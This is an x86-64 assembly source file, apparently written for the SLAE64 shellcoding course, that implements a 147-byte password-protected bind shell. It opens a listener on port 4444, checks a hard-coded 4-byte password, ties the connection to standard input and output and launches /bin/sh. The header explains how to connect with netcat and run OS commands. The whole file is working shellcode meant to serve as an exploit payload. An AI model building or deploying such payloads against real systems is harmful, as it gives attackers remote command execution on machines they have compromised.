; ===================================================================
; Password Protected Bind Shell
; Author: SLAE64-1351 (Keyman)
; Date: 03/09/2014
;
; Shellcode length:  147 bytes
;
; Description:
;
;    Simple bind shell (listens on port 4444 by default) with 4 bytes
;    password protection. Using a 4 bytes long password is still
;    reasonably strong for a single-shot connection and keeps the
;    code shorter.
;
;    To change the port or the password just modify the values of the
;    exp_port and exp_pass "variables" below.
;
;    After the code gets executed connect to the newly opened port:
;   
;    nc <IP address> <port number>
;
;    There is no password prompt. Type in the 4 bytes long password
;    and hit enter. If the password matches, you are ready to type
;    OS commands.
;
; ===================================================================
 
global _start
section .text
 
; -------------------------------------------------------------------
; Preprocessor directives so you can easily change the port and the
; password.
; -------------------------------------------------------------------
 
; Port number to listen on.
%define exp_port        0x5c11          ; 4444
 
; Password to use.
%define exp_pass        0x6c6c6568      ; hell
 
; -------------------------------------------------------------------
; DO NOT TOUCH
; preprocessor directives so syscalls can be easily referenced
; -------------------------------------------------------------------
 
%define sys_bind    49
%define sys_listen  50
%define sys_accept  43
%define sys_execve  59
%define sys_dup2    33
 
_start:
 
    ; ---------------------------------------------------------------
    ; START: create socket
    ; ---------------------------------------------------------------
      xor rax, rax
      push rax              ; saving for sockaddr
      push rax                          ; struct
      push rax              ; clear rax later
      push rax              ; set rdx to 0
      pop rdx               ; protocol
      mov al, 2
      push rax
      push rax
      pop rsi
      pop rdi               ; PF_INET
      shr rsi, 1            ; SOCK_STREAM
      add al, 39            ; socket syscall (41)
      syscall
 
    ; ---------------------------------------------------------------
 
      push rax              ; store sockfd as first
      pop rdi               ; argument of bind
 
    ; ---------------------------------------------------------------
    ; START: create struct
    ;
    ; srv_addr.sin_family = AF_INET;
    ; srv_addr.sin_addr.s_addr = INADDR_ANY;
    ; srv_addr.sin_port = htons(portno);
    ;
    ; This is how it looks like on the stack (port is 4444):
    ;
    ; 0x02   0x00   0x11   0x5c   0x00   0x00   0x00   0x00
    ; 0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00
    ; ---------------------------------------------------------------
      pop rax               ; clear rax so can be
                                        ; used for syscall Nr.
      mov byte [rsp], 2         ; set values
      mov word [rsp+2], exp_port
      push rsp
      pop rsi               ; addr of struct in rsi
 
    ; ---------------------------------------------------------------
    ; bind socket
    ; ---------------------------------------------------------------
 
      push rax
      pop rdx
      add dl, 16            ; socklen_t addrlen
      add al, sys_bind          ; syscall number
      syscall
 
    ; ---------------------------------------------------------------
    ; listen
    ; ---------------------------------------------------------------
 
    ; rdi should still hold the socket descriptor so we don't
    ; have to set it again
 
      ; We can save a 'xor rax, rax' here.
      ; If success, 0 is returned by bind, we will have the rax reg.
      ; cleared.
 
      push 2
      pop rsi
      add al, sys_listen
      syscall
 
    ; ---------------------------------------------------------------
    ; accept
    ; ---------------------------------------------------------------
 
    ; rdi should still hold the socket descriptor so we don't
    ; have to set it again
 
      ; We can save a 'xor rax, rax' here.
      ; If success, 0 is returned by listen, we will have the rax reg.
      ; cleared.
 
      push rax
      pop rdx
      push rax
      pop rsi
      add al, sys_accept
      syscall
 
    ; at this point rax contains the new socket descriptor
 
      push rax              ; save new sockfd
      push rax              ;
      pop rdi               ; first argument for
                    ; read()
      pop r15               ; save for later
 
    ; ---------------------------------------------------------------
    ; get passwd
    ;
    ; We will work with a 4 byte password, should be more than
    ; enough as no brute forcing is possible. Chances to guess
    ; the right value is 0.  Of course passwd should not contain
    ; null bytes.
    ;
    ; n = read(newsockfd,buffer,4);
    ; ---------------------------------------------------------------
 
      xor rax, rax          ; read() is syscall Nr. 0
      push rax              ; buffer filled with 0s
      push rsp              ; setup pointer to buf
      pop rsi
      add rdx, 4
      syscall
 
      ; compare pass received with valid pass and exit if no match
 
      xor rcx, rcx
      inc rcx
      push rsp
      pop rdi
      push exp_pass
      push rsp
      pop rsi
      cmpsq
      jne passfail          ; passwd match, give shell
 
shell:
    ; ---------------------------------------------------------------
    ; 6. exec shell
    ; ---------------------------------------------------------------
 
      add cl, 2
      mov rdi, r15
dup_loop:
      push rcx              ; have to save rcx as dup2
                    ; changes it's value
      xor rax, rax
      sub rcx, 1
      push rcx
      pop rsi
      add al, sys_dup2
      syscall
      pop rcx               ; restore the counter
      loop dup_loop
 
      jmp mytext
 
code:
    pop rdi
    mov [rdi+7], BYTE al
    push rax
    push rax
    pop rsi
    pop rdx
    add al, sys_execve
    syscall
 
mytext:
    call code
    MyText: db '/bin/sh', 0x41
 
passfail: